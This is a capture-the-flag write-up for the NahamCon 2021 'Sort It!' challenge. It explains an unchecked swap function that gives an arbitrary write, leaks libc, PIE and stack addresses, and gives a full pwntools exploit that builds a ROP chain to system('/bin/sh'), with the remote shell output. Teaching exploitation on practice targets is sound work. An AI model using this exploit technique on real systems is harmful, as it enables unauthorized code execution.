# Sort It! (sort_it)

by datajerk / burner_herz0g

**Tags:** write-what-where pwn

Rating:

# NahamCon CTF 2021

## Sort It! [medium]

> Author: @M_alpha#3534
> Can you sort it?
> sort_it libc-2.31.so

Tags: *pwn x86-64 write-what-where remote-shell*

## Summary

```
Sort the following words in alphabetical order.

Words list:

1. orange
2. note
3. apple
4. cup
5. bread
6. zebra
7. hand
8. fan
9. lion
10. pencil
```

`sort_it` is a simple manual sorting (by swapping pairs of entries) program; the kind that you torture kids with in elementary school.

But, what if some of those kids, *naaaaaaughty kids*, just like you, draw outside of the lines?

What happens if you swap, say, `1` and `586291743596`?

Let's find out.

## Analysis

### Checksec

```
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
```

```
    NX:       NX enabled
    PIE:      PIE enabled
```

Hey, look at that, someone got all the mitigations for free by doing *nothing* but using the `gcc` defaults.

## Decompile with Ghidra

> `main` is too long to put here; all we need is the *main* loop:

```
  while (!bVar1) {
    clear();
    print_words((long)&local_68);
    printf("Enter the number for the word you want to select: ");
    __isoc99_scanf(&DAT_001020a3,&local_78);
    getchar();
    local_78 = local_78 + -1;
    printf("Enter the number for the word you want to replace it with: ");
    __isoc99_scanf(&DAT_001020a3,&local_70);
    getchar();
    local_70 = local_70 + -1;
    swap((long)&local_68,local_78,local_70);
    clear();
    print_words((long)&local_68);
    printf("Are the words sorted? [y/n]: ");
    fgets(yn,0x11,stdin);
    if (yn[0] != 'n') {
      if (yn[0] != 'y') {
        puts("Invalid choice");
        getchar();
        exit(0);
      }
      bVar1 = true;
    }
  }
  uVar2 = check((long)&local_68);
  if ((int)uVar2 != 0) {
    puts("You lose!");
    exit(0);
  }
  puts("You win!!!!!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
```

First of all, to *win*, we need to have a sorted list, otherwise we hit `exit` and any hope of exploit through overwriting the return address is dashed.

Second point, look at `fgets(yn,0x11,stdin);`, it reads in 16 bytes into `yn` plus one for the training `\0` `fgets` tacts on. We'll need this for the *what* part of our *write-what-where*.

```
void swap(long param_1,long param_2,long param_3)
{
  long in_FS_OFFSET;
  char local_18 [8];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  strncpy(local_18,(char *)(param_2 * 8 + param_1),8);
  strncpy((char *)(param_1 + param_2 * 8),(char *)(param_3 * 8 + param_1),8);
  strncpy((char *)(param_3 * 8 + param_1),local_18,8);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
```

```
    __stack_chk_fail();
  }
  return;
}
```

Third point, `swap` does do not any input validation, it'll swap *anything<super>*</super>*. This is the *where* in our *write-what-where*.

> *<super>*</super>where* is not *anywhere*; you are limited to `rw` areas of memory--look at the memory map. However, there are a lot of places to pick from if you know *where* to look, including in libc.

### Let's go shopping

We're going to first need to leak the base process address, the libc address, and the stack.

Setting a break point at `b *main+188` and examining the stack:

```
0x00007fffffffe300|+0x0000: 0x00007ffff7fa9980  →  0x00000000fbad208b    ← $rsp
0x00007fffffffe308|+0x0008: 0x00007ffff7e45dbc  →  <setbuffer+204> test DWORD PTR [rbx], 0x8000
0x00007fffffffe310|+0x0010: 0x0000000000000000
0x00007fffffffe318|+0x0018: 0x0000000000000001
0x00007fffffffe320|+0x0020: 0x000065676e61726f ("orange"?)
0x00007fffffffe328|+0x0028: 0x0000000065746f6e ("note"?)
0x00007fffffffe330|+0x0030: 0x000000656c707061 ("apple"?)
0x00007fffffffe338|+0x0038: 0x0000000000707563 ("cup"?)
0x00007fffffffe340|+0x0040: 0x0000006461657262 ("bread"?)
0x00007fffffffe348|+0x0048: 0x000000617262657a ("zebra"?)
0x00007fffffffe350|+0x0050: 0x00000000646e6168 ("hand"?)
0x00007fffffffe358|+0x0058: 0x00000000006e6166 ("fan"?)
0x00007fffffffe360|+0x0060: 0x000000006e6f696c ("lion"?)
0x00007fffffffe368|+0x0068: 0x00006c69636e6570 ("pencil"?)
0x00007fffffffe370|+0x0070: 0x00007fffffffe470  →  0x0000000000000001
0x00007fffffffe378|+0x0078: 0xa12f3ad5180b3900
0x00007fffffffe380|+0x0080: 0x0000000000000000   ← $rbp
0x00007fffffffe388|+0x0088: 0x00007ffff7de50b3  →  <__libc_start_main+243> mov edi, eax
0x00007fffffffe390|+0x0090: 0x00007ffff7ffc620  →  0x0004137900000000
0x00007fffffffe398|+0x0098: 0x00007fffffffe478  →  0x00007fffffffe6fe  →  "/pwd/datajerk/nahamconctf202
1/sort_it/sort_it"
0x00007fffffffe3a0|+0x00a0: 0x0000000100000000
0x00007fffffffe3a8|+0x00a8: 0x000055555555539f  →  <main+0> push rbp
```

It should be obvious what 1-10 are. 14 would then be the return address. This will be the target of our *write-what-where*, however we need to read this first to leak libc.

`main` can be had from 18. We'll need this for the location of the global `yn`.

Lastly, 11 will do for leaking the stack.

That's it. We just need a bit of math and we can pop the box.

# Exploit

Standard fare pwntools:

```
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./sort_it_patched')

if args.REMOTE:
    p = remote('challenge.nahamcon.com', 32674)
    libc = ELF('./libc-2.31.so')
```

```
else:
    p = process(binary.path)
    libc = binary.libc
```

```
# get libc address
p.sendlineafter('continue...','')
p.sendlineafter('select: ','1')
p.sendlineafter('with: ','14')
p.recvuntil('1. ')
_ = p.recv(6)
libc_start_main = u64(_ + b'\0\0') - 243
libc.address = libc_start_main - libc.sym.__libc_start_main
log.info('libc.address: ' + hex(libc.address))
p.sendlineafter('[y/n]: ','n')
```

Above this will swap the libc leak with the first element in the list (`orange`). The provided libc is not dissimilar that what is included with Ubuntu 20.04, so the 243 offset should be the similar as well (and is).

```
# get main address
p.sendlineafter('select: ','1')
p.sendlineafter('with: ','18')
p.recvuntil('1. ')
_ = p.recv(6)
main = u64(_ + b'\0\0')
binary.address = main - binary.sym.main
log.info('binary.address: ' + hex(binary.address))
log.info('yn: ' + hex(binary.sym.yn))
p.sendlineafter('[y/n]: ','n')

rop = ROP([binary])
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
```

Leak `main` just like how libc was leaked, however from position 18 vs. 14. Also there is no offset to worry about (see stack above in Analysis section).

While here we need to find a `pop rdi` gadget for the next step.

```
# get stack address
p.sendlineafter('select: ','1')
p.sendlineafter('with: ','11')
p.recvuntil('1. ')
_ = p.recv(6)
stack = u64(_ + b'\0\0') - (0x00007fffffffe470 - 0x00007fffffffe320)
log.info('1. element: ' + hex(stack))
p.sendlineafter('[y/n]: ','n')
p.sendlineafter('select: ','1')
p.sendlineafter('with: ','11')
p.sendlineafter('[y/n]: ',8*b'n' + p64(pop_rdi+1))
```

Again, capture a leak, however this time the stack from position 11. Unlike the others this cannot be destructive, we need to swap it back.

To compute the actually stack location of the first item we need to subtract `(0x00007fffffffe470 - 0x00007fffffffe320)` from the returned value (this is based on the stack diagram above, look around, you'll see why).

Also notice unlike the previous two leaks the reply to the `[y/n]` question. It's 8 `n`s followed by the address of `pop_rdi+1` (a.k.a. `ret`). Remember `fgets` will take 17 (0x11) bytes and we need our attacks stack aligned, so write out any 8 bytes first starting with `n` followed by the value you need.

Now we're ready to start swapping in our *ropchain*.

```
# rop chain
# pop_rdi + 1
line = 14
p.sendlineafter('select: ',str(line))
p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))
p.sendlineafter('[y/n]: ',8*b'n' + p64(pop_rdi))

# pop_rdi
line += 1
p.sendlineafter('select: ',str(line))
p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))
p.sendlineafter('[y/n]: ',8*b'n' + p64(libc.search(b'/bin/sh').__next__()))

# /bin/sh address
line += 1
p.sendlineafter('select: ',str(line))
p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))
p.sendlineafter('[y/n]: ',8*b'n' + p64(libc.sym.system))

# system call
line += 1
p.sendlineafter('select: ',str(line))
p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))
p.sendlineafter('[y/n]: ',8*b'n' + b'A\0')
```

Using the previous reply to the `[y/n]` questions we can start to *swap* in our *ropchain* starting from position 14 as identified in the stack discussion above (see Analysis section).

The last `[y/n]` just needs a single `A` after 8 `n`s (see below):

```
# shit we really do have to sort, or do we?  just change it all to A
for i in range(10):
    p.sendlineafter('select: ',str(i+1))
    p.sendlineafter('with: ',str((binary.sym.yn-stack)//8+2))
    if i < 9:
        p.sendlineafter('[y/n]: ',8*b'n' + b'A\0')
    else:
        p.sendlineafter('[y/n]: ','y')

p.interactive()
```

Right, so to *win*, to actually get our *ropchain* to execute, we need to hit that sweet sweet return statement, and to do that we need to *win* by having a sorted list.

Or, just replace the list with `A`s, then just `y` that the list is sorted at the end and claim your prize.

Output:

```
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/nahamconctf2021/sort_it/sort_it_patched'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to challenge.nahamcon.com on port 31286: Done
[*] '/pwd/datajerk/nahamconctf2021/sort_it/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

```
[*] libc.address: 0x7f39427da000
[*] binary.address: 0x56551fcf8000
[*] yn: 0x56551fcfc030
[*] Loaded 14 cached gadgets for './sort_it_patched'
[*] 1. element: 0x7ffdc148c010
[*] Switching to interactive mode
You win!!!!!
$ id
uid=1000(challenge) gid=1000 groups=1000
$ ls -l
total 48
drwxr-xr-x 1 root 0 12288 Mar  6 06:18 bin
drwxr-xr-x 1 root 0  4096 Mar  6 06:18 dev
drwxr-xr-x 1 root 0  4096 Mar  6 06:18 etc
-r--r--r-- 1 root 0    39 Mar  6 06:17 flag.txt
lrwxrwxrwx 1 root 0     7 Mar  6 06:17 lib -> usr/lib
lrwxrwxrwx 1 root 0     9 Mar  6 06:17 lib32 -> usr/lib32
lrwxrwxrwx 1 root 0     9 Mar  6 06:17 lib64 -> usr/lib64
lrwxrwxrwx 1 root 0    10 Mar  6 06:17 libx32 -> usr/libx32
---x--x--x 1 root 0 16648 Mar  6 06:17 sort_it
drwxr-xr-x 1 root 0  4096 Mar  6 06:17 usr
$ cat flag.txt
flag{150997c12bbc936a1bedfad00053cdb5}
```

## WTF is `sort_it_patched`

```python
#!/usr/bin/env python3

from pwn import *

binary = ELF('sort_it')
binary.write(0x1208,5*b'\x90')
binary.save('sort_it_patched')
os.chmod('sort_it_patched',0o755)
```

I *loath* hardcoded escape/ANSI sequences that clear the screen, add unnecessary color, etc... to these challenges. They are nothing more than an annoyance and add nothing for your learning, just your frustration. Patch it out.

While you're add it, patch out `alarm` and any other shitfuckery that gets in your way (except for in this CTF's `smol` challenge where you actually *need* to hack on `alarm` to win--pretty cool, so, I guess, think about what you patch out).

While I have your attention...

*Stego? Vigenere? Other not relevant ciphers, etc...* Paaaaalease, you can do better.

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/nahamconctf2021/sort_it).

## Comments